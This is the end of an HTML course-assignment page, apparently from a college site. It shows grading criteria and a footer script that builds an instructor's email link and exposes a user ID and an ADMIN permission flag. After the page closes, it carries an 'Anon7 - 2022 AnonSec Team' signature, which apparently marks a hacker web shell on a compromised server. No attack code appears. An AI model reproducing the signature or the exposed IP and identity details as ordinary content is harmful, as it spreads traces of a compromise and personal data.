		if ( DEBUG ) { console.log(`${PC}isOK=${isOK}`,CS); }
		return isOK
	} // END isOverLiBefore.
</script>
<span id="spnToMeasureCounterTextWidth">0</span>
<fieldset><legend>Grading Criteria</legend>
Demonstrated assignment effectively: 10 points.
<br>
There are some things I expect. If they are incorrect you will lose the following:
<br>
Work submitted incorrectly: -1 pt. This covers errors such as incorrect files names, incorrect file formats, poor formatting, etc.
<br>
Second and subsequent submission of work for grading: -1 pt.
<br>
Work submitted late: -1 pt per week.
<br>
I reserve the right <b>not</b> to apply the deduction points at my absolute discretion.
</fieldset>

    </td>
    <td class="blackBorderRight"></td>
  </tr>
</table>
<!-- End section 2 -->
	<div id="div_copyright" class="copyright">
		IP=134.29.175.74  userId=1688 <br>
  	&copy;1998-2025	</div>
	<div id="tooltipContainer"><div id="tooltipDiv"><!-- Needed for tooltip --></div></div>
	<script>
		// pageFooter.phpinc:37.
		function capitalizeMe(obj) {
			var val = obj; 
			var newVal = ''; 
			var val = val.split(' '); 
			for(var c=0; c < val.length; c++) { 
				newVal += val[c].substring(0,1).toUpperCase() + val[c].substring(1,val[c].length) + ' ';
			}
			return newVal.replace(new RegExp("[" + "\\s" + "]+$", "g"), ""); 
		}
		var server = 'ridgewater'; 
		var domain = 'edu'; 
		var first = 'jim'; 
		var last = 'martinson'; 
		var ea = '<a href="' + 'mail' + 'to:' + first + '.' + last + '@' + server + '.' + domain + '" style="color:darkgray;">' + capitalizeMe(first+' '+last) + '</a>';
		//document.write(ea);
		document.getElementById('div_copyright').innerHTML = document.getElementById('div_copyright').innerHTML+ea;
		var LOCK_BELOW = 99;
		var trueuserId = 1688;
		var userId = 1688;
		var userPermissions = ['USER', 'ADMIN'];
		CollapsibleLists.apply();
	// onload:
	_Initialize();
	
	</script>
</body>
</html>

Anon7 - 2022
AnonSec Team